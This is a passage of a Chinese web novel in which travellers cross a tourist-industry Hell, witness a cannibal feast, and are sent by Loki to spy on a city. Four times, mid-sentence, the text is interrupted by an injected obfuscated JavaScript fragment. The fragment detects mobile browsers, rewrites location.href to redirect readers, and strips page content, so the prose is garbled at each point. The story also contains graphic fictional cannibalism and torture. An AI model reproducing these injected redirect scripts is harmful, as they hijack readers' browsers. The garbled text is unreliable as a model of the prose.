地狱入口宛若一个巨大的顶级影院,建筑周身的玻璃幕墙,是由无数屏幕组成,屏幕里正放映着九层地狱亡者受苦的景象,靠近大门的七块屏幕尺寸超大,格外显眼,与周围正常规格的屏幕相比,就如同众星拱月。 那七块尺寸极大的屏幕上,放映的是地狱七魔王,也即七魔神的日常,为了吸引信徒,甚至允许观众留言,七魔神将随机查看留言并回复。 魔神日常包括杀戮、饮食、睡觉、恋爱等等。 秦轻脚尖刚落到地上,就因为长时间保持同一姿势,血液不畅而腿麻的踉跄一下,幸亏沙利叶扶了她一把。 色、欲魔神阿斯莫德的屏幕下,魔界某知名小报的恶魔记者,已经不眠不休地蹲守一个月,她熬红了双眼,就为了总结出阿斯莫德情人的共同点,以色、欲魔神的理想型为主题撰写一篇文稿,争取夺得报刊下个月热销冠军的荣誉! 地狱入口的附近,设有高档咖啡厅、游戏厅、KTV、赛马场等区域,各种娱乐设施,一应俱全,还有情侣主题的酒店,很多店面的门头已经明示了店内会提供某种不可言说的服务。 “不愧是恶魔,在性这方面,可真是开放!”沙利叶再次发出羡慕的感叹! 秦轻三人向地狱入口的守卫恶魔出示请帖后,便顺利的进入地狱。 一进大厅,三人就被一条蜿蜒而来、水面宽阔的阿刻隆河拦住,河里是不断挣扎哀嚎的亡灵,它们伸长手臂,急于拉岸边的活人一起共沉沦。 由于不想做被殃及的池鱼,秦轻三人退开些许,离岸边稍远。 阿刻隆河的上空,有一个巨大的暗色光球,根据光球投射的景象,秦轻三人足以窥见整个地狱的全貌。 地狱共九层,自地面延伸至地心,外形看上去就像一个陀螺,阿刻隆河的对岸是一至五层地狱,无数的亡灵正在其中受苦,第五层地狱和第六层地狱之间,是能够吞没一切的斯提克斯沼泽,以及恶魔之城——狄斯城。 再往后便是第六层地狱,还有埋葬无数尸骨、恶灵的深渊,地狱冥火终年燃烧,日夜不息,只是经过那里,都能感受到灵魂被灼烧的痛楚。 深渊旁是第七层地狱,受刑者的罪罚愈发触目惊心,七层地狱后是怪石林立岩浆遍布的悬崖峭壁、第八层地狱、巨人井、第九层地狱、撒旦的宫殿,以及最后的地心。 九层地狱已经被七魔神中的玛门,发展成日进斗金的旅游业,每一层地狱都用巨大的弧形玻璃罩起,游客们可以从远处观看罪者受罚的情形,也可以亲自进入施予折磨,这里是发泄情绪、施加暴力的绝佳场所。 除了旅游,这些罪者还可以作为实验品,交易给他人。 总之,只有你想不到的赚钱门路,没有玛门做不出的。 “要坐船吗?” 阿刻隆河的摆渡者,摇晃着船桨,慢吞吞地来到三人面前:“每人一枚银币,先付钱再登船,线上支付也可以。” 他从黑色的宽袍大袖里,伸出灰白的指尖,指了指船头竖立的平板,白惨惨的屏幕上,印着一张付款的二维码。 秦轻:“……”再次被地狱的科技化震惊! 慕容断怔愣片刻,将身上的玛门印记展现出来:“我是贪婪魔神麾下的恶魔,也是他最最虔诚的信徒,就这样还不能免费?” “呵!”摆渡者冷笑一声,举起船桨对着慕容断的脑袋拍下:“谁的信徒都不好使!玛门亲自坐船都得给钱,你又算个屁!” 慕容断被眼前这个暴脾气的老头打懵了,双眼瞪个半天,都没说出一句话来。 “坐不坐!不坐赶紧滚,别耽误老朽做生意!” 摆渡者狠啐一口:“所以,老朽才最烦你们这些死穷鬼,明明穷的叮当响,还偏要装作关系户!有本事你做个暴发户啊!” 眼看着摆渡者就要撑船离开,沙利叶骂骂咧咧地掏出三个银币:“哼,怪我出门没占星,竟然碰到两个穷鬼,我还得自掏腰包。” “谢啦,大沙。” 慕容断此刻倒是回过了神,只见他轻巧一跳,率先跳进了船里,站在船头,笑眯眯地朝沙利叶挥手。 “你!你是故意的!” 沙利叶也反应过来,只可惜已经当了冤大头,捂着空荡荡的口袋,唉声叹气。 “故意什么?你可不要乱说。” 慕容断故作委屈地眼皮轻眨。 “我乱说?你敢对神灵发誓,你没装傻?” 眼看着这艘小木船因为二人的争执来回晃荡,担心下一刻就要掉落河里的秦轻,举起双手,一人敲了一记脑袋瓜:“好了,都闭嘴!” 脑门上分别挨了一下的两人,委委屈屈地咬紧双唇,不说话了。 他们此行的目的地是位于五层地狱和六层地狱之间的狄斯城。 有惊无险地渡过阿刻隆河,他们将要穿过一至五层地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111977|164112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狱,在地狱观光的售票处,打扮时髦的恶魔小姐姐正做专业的介绍:“你们想去狄斯城,有以下几种方式哦,第一种乘坐螺旋扶梯,免费但是耗时长。” 秦轻顺着她手指的方向,瞧见了那仿佛看不见尽头的螺旋扶梯,扶梯上方是同样无边无际的蛇形索道:“相比之下,第二种方式,蛇形索道,速度就会快很多,但价格,你们懂的。” “第三种,蜿蜒滑道,就像儿时玩的滑滑梯一样,速度也挺快的,但适合皮糙肉厚的观光客,如果像你们三位肌肤如此细腻的,只怕滑到一半就得血肉模糊。” 说到这儿,恶魔小姐姐还颇为遗憾地瞧了三人一眼。 除了那几种方式外,还有空中过山车、高空吊椅、巨人抛投接力等方式,可以说满足了各种游客的特殊癖好或猎奇心理。 “好了,别说那么多了,你直接告诉我们,最快的方式是哪种。” 秦轻受不了了,她双臂一撑前台桌面,打断了恶魔小姐的滔滔不绝,决定速战速决。 “最快的方式啊。”恶魔小姐的唇角似乎扬起了一抹计谋得逞的笑意:“那当然是坐玛门集团特别推出的新款出行方式——炫酷热气球啦!” “每人只要二百银币,十分钟后,您就能抵达狄斯城的空中停车场,于高处俯瞰全城!” “好,就要这个。”秦轻不顾两个大男人的反对,直接拍板决定,末了,指着慕容断说:“他掏钱。” 慕容断:“……” 沙利叶哈哈大笑,可没想到秦轻的那根纤细手指,倏然指了过来:“或者,他买单!” “所以,你两到底谁付钱?” 恶魔小姐姐看着傻掉的二人,呆呆的问。 最终,还是慕容断强忍心痛地掏了钱:“阿轻,你好败家,再厚的家底也禁不住你这么败。” “没事,习惯就好。” 秦轻大手一挥,“成大事者,不拘小节。” 前往乘坐热气球的路上,因为说话没看路,与忽然冲出来的一道黑影撞上。 秦轻捂着脑门,与来人同时低呼一声:“哎呦,好痛!” 对方的嗓音沙哑低沉,初次听见,便觉得是男人,还是个体型魁梧的硬汉,可谁知抬眸一看,那人竟是个一头红发、身段窈窕的妙龄少女。 秦轻蹙了蹙眉,总觉得声音和形象违和感太重,在地狱的环境下,竟透出些许的诡异。 “你们是不是要去狄斯城,帮个忙好吗?我愿意支付大笔的金钱作为感谢。” 少女不由分说地拉住秦轻的手,恳请她无论如何都答应下来。 “你所说的帮忙,该不会是想要偷渡吧?” 慕容断十分狐疑地望着她,因为女子再次说话时,明显故意掐了嗓,与先前刚被撞到时的浑厚嗓音不一样。 结合种种异样,完全有理由怀疑眼前的妙龄少女,其实根本就是个改头换面的女装大佬! 表面是女郎,实际是糙汉? “不不不,你们误会了,我只是想请你们帮我运走一件武器。” 少女神情焦急,仿佛被人追赶,她急匆匆地说完,就火速地把裙摆掀开,从腿侧拿出一把暗黑色的小锤! 小锤出现的瞬间,慕容断就傻掉了,如果他没认错,那似乎就是大名鼎鼎的雷神之锤! 9. 副本一 秦轻不想答应,因为这个请求太过突然,而且透出丝丝的诡异。 但慕容断竟然立即接过小锤:“这点小事而已,没问题。” 秦轻、沙利叶一脸惊愕地望着他,秦轻悄悄拽了拽慕容断的手臂:“你疯了吗?难道就为了她口中巨额的酬劳?” “你不懂。”慕容断回了一个高深莫测的眼神:“所以,别管了,听我的就好。” “我确实不懂,但我感觉你是疯了。”秦轻摊了摊手,无奈地站到一旁。 慕容断却又疾步跟了过来,悄声附耳说:“那把小锤,你真的没有认出来吗?” 他怀疑而探究的视线,落到秦轻身上,让她本能地心里一紧,总觉得这是来自慕容断的又一次试探,就跟之前的卢恩符文一样! 锤子……北欧神话里的锤子…… 莫非眼前这把不起眼的小锤,就是传说中的妙尔尼尔——雷神之锤?! 女装大佬……红发…… 难道面前这位掐着嗓音的妙龄少女,就是伪装过后的雷神分身?! 凭雷神索尔和奥丁的关系,怪不得慕容断誓死也要帮下这个忙。 秦轻想明白其中的因由后,目光一瞬间变得了然,慕容断见状,眸中怀疑之色褪去。 女子见三人愿意帮忙,从腰间解下一袋子酬劳后,便从另一条路离开,沙利叶打开布袋子一看,被里面满满一袋的金币闪花了眼! “发……发财啦!嘿嘿嘿!”他嘴角上扬,自顾自地傻乐起来! “发财也是我发财,和你有什么关系?”慕容断一把抢过布袋,送进乾坤袋内。 “哎,见者有份啊!” 沙利叶拼命抗议,但慕容断到手的钱财,哪有吐出来的道理?沙利叶抗议无果,只能生闷气。 直到三人坐上炫酷热气球,沙利叶都没正眼瞧他,秦轻却在热气球升空的一刻,于高处瞧见阿刻隆河边,一红发女子不堪地狱守卫的追赶,纵身跃入河中。 女子的躯体刚一触到河水,就被水里的亡灵一拥而上,分食而尽。 连片骨头渣子都没剩下。 秦轻瞧见这幕,面色未变,只是觉得可惜,那可是雷神索尔的分身啊,听说神灵的分身都是神灵本尊的一缕魂魄所化,与其葬身阿刻隆河,还不如被她用封印笔杀死,再收到召唤图卷里。 她很随意地就在脑海转过这个念头,却一点都没觉得,封印神灵的念头有多惊世骇俗! “欢迎各位旅客乘坐玛门集团旗下的炫酷热气球,我们将为您提供最贴心的服务,您现在已经抵达一至五层地狱的上空,您的身后有一个百宝匣,里面有各种一次性的刑罚,供您空投!祝您旅游愉快!” 伴随着一阵悠扬的乐曲,热气球的大喇叭忽然响起。 “百宝匣?刑罚?空投?地狱的花样怎么这么多?”沙利叶歪了歪脑袋。 “应该是玛门的套路多吧。” 秦轻抬眼望去,地狱上空不止他们一个热气球,离他们最近的一个约有百米的距离,里面的恶魔正一边吃着冰激凌甜品,一边哈哈大笑地投掷了一道地狱闪电下去。 那闪电正好劈中一个在二层地狱里服刑的罪者,直接将他半边身体电的焦糊,脑袋都炸掉了一半,在他旁边受苦的罪者立即张口咬上焦糊的部分,咂巴咂巴的咀嚼一番,又呸呸的吐了出来。 “电焦的不好吃,还是地狱火球烤熟的躯体最美味!” 他刚一说完,就被从天而降的地狱火球砸中,很快成了其他同层地狱罪者的腹中餐。 “哈哈哈,好爽!我就是地狱之王,活得比上帝更自在!”投掷刑罚的恶魔们,在热气球上又叫又跳,狂欢起舞:“我们掌控着地狱!我们掌控着罪者的生死!” 空投刑罚的活动,让一众恶魔体验到了生杀予夺的快感,为此不惜花费大量的银币来回地乘坐热气球。 贪婪魔神挣钱的目的达成了! 秦轻三人对这种以折磨取乐的活动不感兴趣,全程都没参与。 沙利叶压了压头顶的帽檐,遮住了双眼:“如此暴力血腥,不符合我的美学。” 秦轻瞧了他一眼:“同行这么久,还不知道你来此的用意?” “其实也没什么。”不知是不是被刺激到,沙利叶忽然有了倾诉的欲望:“我成了堕天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111978|164112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使后,对男欢女爱特别地痴迷,很久以前就想拜访这方面的神灵,比如密宗的欢喜佛,色、欲魔神阿斯莫德,就算拜访不到他们,遇到七十二柱魔神之一的贝雷特也行啊!” 沙利叶说完,半晌听不见秦轻的回答,垂眸一看,只见少女一脸看傻子似的睨着他。 “喂!你这什么眼神!我可是很认真的!”沙利叶不干了,自己的诚心惨遭质疑,他必须为自己证明,便掏出写了一半的手稿:“你看我写的书,出版社、线上网站都联系完毕,就等写完发表!” 秦轻看了眼书名《沙利叶的爱、欲心得》,不禁愈发默然。 慕容断则特别不给面子的喷笑出声:“哈哈哈,就你?” 短短的几个字,伤害性不大,但侮辱性极强,沙利叶恼羞成怒,险些戳破热气球,与他同归于尽! 还是秦轻大喊一句:“住手!你知道这架热气球多贵吗!” 金钱的威胁,宛若一把悬在头顶的尖刀,迫使沙利叶飞快冷静。 “算了,狄斯城要到了,本天使大人有大量,不与他计较。” 秦轻闻言,略松一口气,这才有心情打量下方狄斯城的风景。 坐落在斯提克斯沼泽旁的地狱古城——狄斯城,远望像一座通体暗黑的城堡宫殿,由于常年举办盛宴,从巨大高耸的窗户里折射出无数的璀璨光线,传出喧闹沸腾的音乐。 宫殿前的血色花园由漫山遍野的暗红花卉组成,花瓣重重叠叠,花茎布满尖刺,紧紧地插在白生生的“泥土”里。 在高空看不太清,等秦轻三人的双脚落到实地,距离拉近,秦轻才发现那惨白的“泥土”,竟是一具具半死不活的躯体。 那些看似美丽的花朵,都是用血肉供养的! 进城的道路上,甚至随处可见阴惨惨的头骨、碎裂的脊椎。 或许狄斯城本身就是由无数亡灵尸骸铺就。 他们沿着指示灯路牌的指引,一路来到狄斯城内最大的一处酒楼,条幅状的液晶屏上正不断闪烁着“食人盛宴”的字样。 三人对视一眼,都感觉到心头的几分阴翳,但他们还是义无反顾地踏足进去。 10. 副本一 在进门的瞬间,秦轻和慕容断心有灵犀地改变了身上的玛门印记,变为普通的、没有任何魔神印记的恶魔。 几乎在玛门印记消失的刹那,沙利叶就察觉到了,他指着二人的手微微颤抖:“你、你们……” “嘘,看破不说破。”秦轻以指抵唇,对他眨了眨眼。 “说破,就杀了你哦!”慕容断朝他恶劣一笑。 沙利叶嘴唇哆嗦,半晌说不出一句话来,不是因为别的,就是被气的! 他已经意识到秦轻和慕容断的身份不一般,竟然敢明晃晃地伪造魔神印记! 更加细思极恐的是,也许他们根本就不是恶魔!而他沙利叶已经上了二人的贼船,恐怕是没法全身而退了! 毕竟他是与二人共用一张请帖,在地狱恶魔眼里,他们无疑是拴在一根绳上的蚂蚱! 整个酒楼据说都被暴食魔神别西卜包下,一进门,就是热闹非凡、觥筹交错的盛宴,大厅极高,仰头可以窥见二楼、三楼的风光。 坐在二楼上首位置的是几个姿容各异的男子。 贪婪魔神玛门,一身华贵西装,其上缀满金银饰物,珠光宝气,通身自带金光特效,由于一张过分英俊的面孔,才没有落入俗气的暴发户气质! 色、欲魔神阿斯莫德,浅紫色的墨镜罩在精致魅惑的面庞上,耳骨处一圈的耳洞,戴着不同款式的宝石耳钉,宝石的光泽更加衬托他的皮肤白皙如玉,低胸的V领,着装骚包的不行。 懒惰魔神贝利尔,撑着帅气而倦怠的脸,一直百无聊赖地打着哈欠,半合的双眼终年睡不醒,他穿着宽松的T恤、沙滩裤,脚踩一双人字拖,跟没骨头似的瘫在沙发里。 愤怒魔神萨麦尔,一身精壮的古铜色皮肤,赤裸着上身,大刀阔斧地坐在宝石堆成的座位上,鼓鼓囊囊的肌肉结实有力,遍布着繁复的火焰纹,他单手提着一坛烈酒,正仰头灌入口中。 最边上的两人,只看形象,秦轻猜不到他们的身份。 其中一人长相猥琐,身型肥胖,肚皮上印着暴食魔神别西卜的印记,估计是魔神麾下地位较高的恶魔,他如坐针毡、陪着笑脸,大滴大滴的虚汗从他的额头滑下,一看就是做了亏心事。 另一人,面容英俊,梳着大背头,金色的长发垂于脑后,衣着潇洒不羁,像是多种风格的混搭,他的身上,至少肉眼可见处没有任何的魔神印记,他的头上也没犄角,大概率不是恶魔。 根据玩家论坛所言,神灵不会真身降临副本,如果他们都是神灵,那么其本质都是分身。 【您有附近聊天频道的消息待查看!】 秦轻微愣,下意识地点开,几条玩家消息瞬间印入眼帘! 【我竟然看见了邪神洛基!有邪神洛基参与的副本意味着什么,难度飙升!不合常理!我还是提前为自己找块风水宝地吧!阿门!】 【攻城副本的难度该不会是S级吧!攻城的相关信息还未触发,就已经出现这么多神灵!】 【没法弄了,世界毁灭吧,我累了!】 附近聊天频道的消息,说明酒楼里也潜入了其他玩家,而且阿门?第一个发消息的玩家该不会是名天使吧? 秦轻没有发布任何文字,看完就点了退出。 她的视线紧接着落到二楼最边上的金发男子身上,所以,这位就是传说中的诡计之神,北欧神话里诸神黄昏的c位——洛基? 刚开局就遇到S级副本,身份好死不死的是多重卧底,她这运气确实是绝了! 就在她默哀自己霉运冲天之时,洛基忽然搭上猥琐恶魔的肩膀,朗声说着什么,秦轻直觉很重要,便悄悄往那边移去。 洛基的嗓门不小,完全是不加掩饰,一旁的几位魔神二话没说,显然是毫不在意。 只听洛基揶揄地拍打他的肩头:“莫恩!你的胆子可真大,竟敢冒充你的主子办什么食人盛宴,看来别西卜很宠你啊,连自己是个什么身份都忘了?” “洛基大人,还有几位陛下,求你们让小的下去吧,小的自知胆大妄为、罪孽深重,不配坐在这里。” 长相猥琐的莫恩,险些被吓尿了,他跪地哀求,把脑袋都磕出了一个大包! 几位魔神颇为嫌弃地瞥了他一眼,洛基邪性一笑:“你就坐在这儿吧,这样才有意思,不是吗?” 莫恩战战兢兢,但神灵不准他离席,他只有竭力转移自己的注意力,眯缝眼一扫,见人肉还没上桌,当即大怒,朝楼下的厨房大吼:“厨师呢!死哪去了,不赶紧上菜,在磨蹭什么!” “来了!这就来了!”厨师扛着一个年轻的、半死不活的女子,连滚带爬地从厨房冲出,讪讪地挫着双手,仰头回二楼的话:“这人肉,就得现杀现做,才好吃,也更具观赏性,请各位主子稍待片刻,我做菜超快!” 说着,他于大厅中心架起直播设备,又点开终端上的暗网链接,随机找了个食人party观看,一边看,一边把肩上的女人扔到地上,手起刀落,一下捅穿她的心脏,献血喷了满脸,被厨师迷醉地舔尽。 处理尸体双手的时候,厨师忍不住亲吻尸体的指尖,表情垂涎,宛若饿狼。 “收收你那恋尸的癖好!快做菜!” 莫恩见他拖拖拉拉的动作,就想下楼狠狠踹他屁股! “好的!香酥油炸,十分钟内保证出锅!” 厨师极力抑制自己对尸体的渴望,开始快速地切开尸体,下锅油炸! “哎,待会儿咱们真要吃吗?” 眼看着碎尸在锅里,被炸的翻来滚去,沙利叶一脸菜色,强忍呕吐的欲望。 “不吃。”秦轻干脆地回答,她只是吃货,又没有食人癖! “可是不吃的话,会很奇怪的吧?”沙利叶说出了他的担心。 “那你吃。” 秦轻白了他一眼,淡淡说出三字。 沙利叶:“……” 就在厨师做菜的时候,门口忽然传来一阵骚动。 “报!红发女子投河自尽,我们只抓到两个侏儒!” 守卫恶魔将五花大绑的侏儒推进酒楼,一时间所有人的视线都落在他们身上。 “侏儒啊?不知道口味怎样,应该挺美味的吧?” “好想尝一尝,我还没吃过侏儒呢!” 周围宾客的议论声,让两个本就受惊的侏儒更是吓的瑟瑟发抖。 “别,别吃我们!我们一点都不好吃!” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111979|164112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们嗫嚅着嘴唇,结结巴巴地说着。 “好不好吃,得尝一口才知道。” 宾客们全都露出很感兴趣的目光,厨师得了莫恩的授意,提着砍刀就朝侏儒走去。 “慢着!他们没说错,他们确实不好吃!” 一道很突然的女声响起,全场一静。 慕容断和沙利叶吞了口吐沫,跟看史前巨兽似的,呆呆地望着秦轻:乖乖!这妹子也太勇了! 没错,说话者正是秦轻,她在开口之前,就将身上的无印记,更换成了傲慢魔神路西法,现在明面上她是路西法麾下的恶魔! “你倒是说说,他们为何不好吃?” 在如此静谧的时刻,洛基笑了,他眼神危险,说出的话语,语调亲昵的宛若情人似的。 “你若是说不出个所以然来……”他缓缓闭口,没再说了,唇角笑意不变,可威胁之意尽显。 慕容断和沙利叶情不自禁地为秦轻捏了把冷汗。 秦轻却是不惧,反而说起北欧神话的世界起源:“……众所周知,奥丁和他的兄弟威利和维,杀死了巨人始祖尤米尔,尤米尔的身躯化为天地,海洋是血液,大地是肉身,岩石是骨头,天空是头骨,那么侏儒是什么?” 秦轻的娓娓道来,让一众恶魔宾客陷入沉思,洛基则眸色有异地俯看那个侃侃而谈的女孩。 没等宾客回答,她便微微一笑,率先给出了答案:“是蛆虫!高腐尸体里才会出现的蛆虫,你们知道高腐尸体是什么模样吗?体外全是排泄物,恶臭无比,尸体由绿色逐渐变为深棕色,全身肿胀,流满腐化的汁液,就像是充了气的变形气球。现在,你们还想吃侏儒吗?” 她故意形容的很恶心,将腐烂程度形容的很严重。 当她说完之后,当即有恶魔不断干呕:“变形气球?哦!我感觉将有相当长的一段时间没法乘坐热气球了!画面感太重!呕!” 热气球可是玛门集团近期推出的热门,坐在二楼上首的玛门,眉心微皱,颇为不悦地睨了秦轻一眼,旁的事他不管,可耽误了他的生意,就不行! 恶魔宾客们已经完全歇了吃侏儒的心思,两名侏儒颇为感激地瞧了秦轻一眼,可小命勉强保住后,他们有心有戚戚然,嗅了嗅自己,自言自语地说:“原来我们的由来是这么恶心啊。” ”喂!你疯了吗?”秦轻刚一坐下,就被慕容断撤了撤衣袖:“就两个侏儒而已,你干什么以身犯险?” “好在结果尚可。” 秦轻双肩轻耸,故作云淡风轻,其实她选择出头的一刻,心里亦是担忧不已,在慕容断眼里,那只是侏儒,在她眼里,却是与她来自同一世界的玩家啊! 那两人估计是新人,没有选择隐藏玩家身份,因此被秦轻一眼认出。 “算了,这食人盛宴本王不吃了,被搅得没胃口。” 阿斯莫德施施然起身:“还是赶紧切入正题,攻城怎么攻,兵力如何部署,说完之后还有两场艳遇在等着本王。” 攻城?听到关键词的秦轻精神一振! “那里颇为诡异,先派一个探子去,依本神看,她就正合适。” 洛基唇角微勾,大手一挥,直接指向大厅的秦轻! 11. 副本一 “她?” 阿斯莫德伸出修长的指尖,压下鼻梁处的紫色墨镜,一双梦幻紫的双眼,压迫性地扫视秦轻,眼神重点在脸、胸、腰、臀转了几圈,而后颇为扫兴地移开眼:“本王觉得不太行,魅力值太低,连及格线都没达到,这样的恶魔,能成什么事?” 玛门的视线紧随其后,重点落在秦轻满身的宝石上,倒是来了点兴趣:“没想到路西法的追随者,竟与本王的喜好相同,是个有眼光的。” 夸完之后,想起不久前秦轻说的那番话坏了他的生意,眉心又一蹙,脸色不禁有些难看,可是随即想起多洛城的诡异,眉头缓缓舒展,用幸灾乐祸的语调说:“便让她试试吧,毕竟胆子大到这种程度的恶魔也少见。” 贝利尔不置可否,他昏昏欲睡,脑袋一点一点,倒像是附和玛门的说辞。 萨麦尔也没什么意思,他虽然暴躁易怒,但对知识丰富的恶魔一向偏爱,秦轻作为恶魔,竟然对北欧神话的起源如数家珍,这点让他印象深刻,二话没说,只不怒自威地坐着,便是默认的意思。 秦轻没想到事情会如此发展,还没怎么样呢,她就成了探子。 “本王还是觉得她不合适。”阿斯莫德坚持己见,将墨镜重新推回鼻梁。 洛基睨着一脸呆怔的秦轻,意味深长地勾起唇角:“她很合适,这样吧,如果出了什么事,本神负责。” “既然你这么说……”阿斯莫德双肩微耸,妥协了,可紧接着话锋一转:“无论如何,本王早已精挑细选的几名恶魔,也得一同前往。而且她和他们之间,不能共同行动,她也没资格知晓他们的身份。” “这是让我单独行动?”秦轻讶异的张口。 “对。”阿斯莫德居高临下地瞅她,表情嫌弃,丝毫不掩饰对她的不喜。 “这对我不公平,我需要帮手。”秦轻捏紧垂于身侧的双手。 “那就坐在你身边的两个吧,本神若是没记错,他们本就是你的同行者。”洛基的指尖,毫不犹豫地落在慕容断和沙利叶身上:“你们意下如何?” 慕容断和沙利叶能怎么办,当然是选择答应他啊! 二人脑袋狂点,毕竟洛基的脾气不好,阴晴不定的厉害,万一答应慢了,对方一个火球扔下来,他们可不想被烤熟。 “既然答应了,那就随本神来。” 洛基朝楼下大厅内的三人勾了勾手指,率先转过身,朝前走去。 秦轻三人对视一眼,赶紧紧赶慢赶地追了上去,待进入一个装修豪华、设下各种神秘阵法的包间后,只见洛基已经解开了领口的西装扣,为自己倒了杯色泽浓郁的红酒,悠哉悠哉地坐在沙发上,慢条斯理地品尝着。 秦轻没说话,只等他开口,直觉告诉她,洛基接下来的话,十有八九与多洛城有关,就像是游戏副本里的某种提示,只是她没想到,这种提示,会由一个货真价实的神灵来做。 慕容断和沙利叶却是悄悄松了口气,因为来到这里,就意味着他们可以逃避食人盛宴,不用面临吃或不吃的选择。 洛基品完一杯酒后,睁开双眼,直直地看向三人,忽然开口问道: “你们知道多洛城吗?” “不知。”秦轻三人纷纷摇头,可洛基的视线却倏然聚集在秦轻身上,轻啧一声:“撒谎可不是好孩子,不过本神也爱撒谎,姑且原谅你。” 秦轻心神一紧:洛基竟然看出来了? “是不是在想本神怎么看出来的?本神可是这方面的老祖宗了,小丫头。” 洛基笑了笑,重回正题:“多洛城确实名声不显,也难怪旁人不知,但自从预言石上诞生新的预言后,这座城在诸神眼里,可就变得异常显眼。” “新的预言?”秦轻若有所思,她回忆所知道的一些神话故事,神灵们确实很相信预言一说。 “竟然是预言石吗?可是神山之巅的那块?” 与秦轻的反应不同,慕容断和沙利叶简直可以用神色大惊来形容。 “是啊,就是神山上的那块,众所周知,神山之巅的预言永不落空,而这则预言更是骇然,竟与屠神有关。” 洛基语调平静地说完,只说到“屠神”二字的时候,略微有了点起伏。 “那么,那则预言究竟是什么?” 秦轻愈发好奇,她本不该深问,因为想也知道,知晓这则预言的,必定都是神灵,哪里又是她这种小人物有资格知道的,可洛基言谈间的态度,让她觉得可以开口问问。 殊不知她这一问,慕容断与沙利叶全都惊出一身冷汗。 洛基斜眸睨她一眼,哈哈大笑起来:“本神确实没把你看错,你的胆子真不是一般的大。” “那预言的内容,能告诉我吗?” 秦轻一双乌溜溜的双眼,一眨不眨地落在面前仰天大笑的金发男人身上。 洛基笑的更厉害了,依他那个惊天动地的笑法,若是个普通人,秦轻都担心他血管承受不了,笑岔气都是轻的,别直接崩裂了血管。 等洛基笑够之后,才缓缓开口:“一名少年从尸山血海的城中走出,立誓要将手刃血亲的神灵尽数屠尽——这便是预言的内容。” “屠神!屠的还不止一个,听上去很毛骨悚然吧!” 洛基虽然装作害怕似的抖了抖,声音也配合的颤了颤,但那语调里却充满了跃跃欲试的情绪! 他万般感叹地扬高了嗓音:“从预言之后,多洛城便成为诸神必争之地,啧啧,又是一场腥风血雨!” 秦轻沉默不语,只要稍微一想,就明白多洛城成为众矢之的原因,因为屠神的少年,立誓要屠的是手刃血亲的诸神! 而在许许多多的神话里,有太多干过此类事情的神灵了! 慕容断也明白神主奥丁为何要他和阿轻来到地狱,因为奥丁便是手刃血亲的神灵之一! 沙利叶显得若有所思,面色难掩愕然,他想到了另一方面,除了做过此事、心虚的神灵以外,其他没做过此事的神灵,也必定不会放过如此大好的时机! 从诸神攻城的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119268|164112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目的来看,可以简单分成两类,一类是先下手为强,先行将预言里的少年杀死,为此不惜将全城的人屠杀殆尽,另一类则是保护,将少年保护起来,将他当作利刃,消灭其他符合条件的神灵。 如果将两类再细分,那就是各方势力都有各自的一些想法了。 “你让我们做探子,目的究竟是杀掉,还是保护?”秦轻也想的足够全面,她问洛基。 洛基没有正面回答,而是弯眼一笑,笑得像只狐狸:“首先,你们先得找到那名少年。” 秦轻心里顿时有数,她开口又问:“那我们怎么进城?” 洛基拿出一枚水晶球,大手一挥,水晶球里瞬间有了画面,只见漫天的血雾深处,隐约可见城门的边角轮廓。 “多洛城很是神奇,纵使神灵探查,也无法窥见更多,好在它每年都有几次从城外引进适龄婚配的少年少女,只要通过考验,便可进城,你们可手持死亡之书,混入少年少女的队伍里。” 洛基说完,视线一一从三人身上扫过,最后点了点秦轻:“你看着本就显小,不必再做修饰,至于另外两个,还是要在少年感上多费些功夫。” 秦轻闻言,忍不住无声一笑,洛基这是在嫌慕容断和沙利叶“老”呢! 不过……死亡之书? 这东西怎么听上去有些耳熟? “是,我们一定好好修饰容貌。”慕容断和沙利叶毕恭毕敬地应下后。 洛基便将三份死亡之书递给他们:“这便是多洛城的入城资格,每年被选中的来自城外的少年少女,手里都有一份,切莫弄丢。” 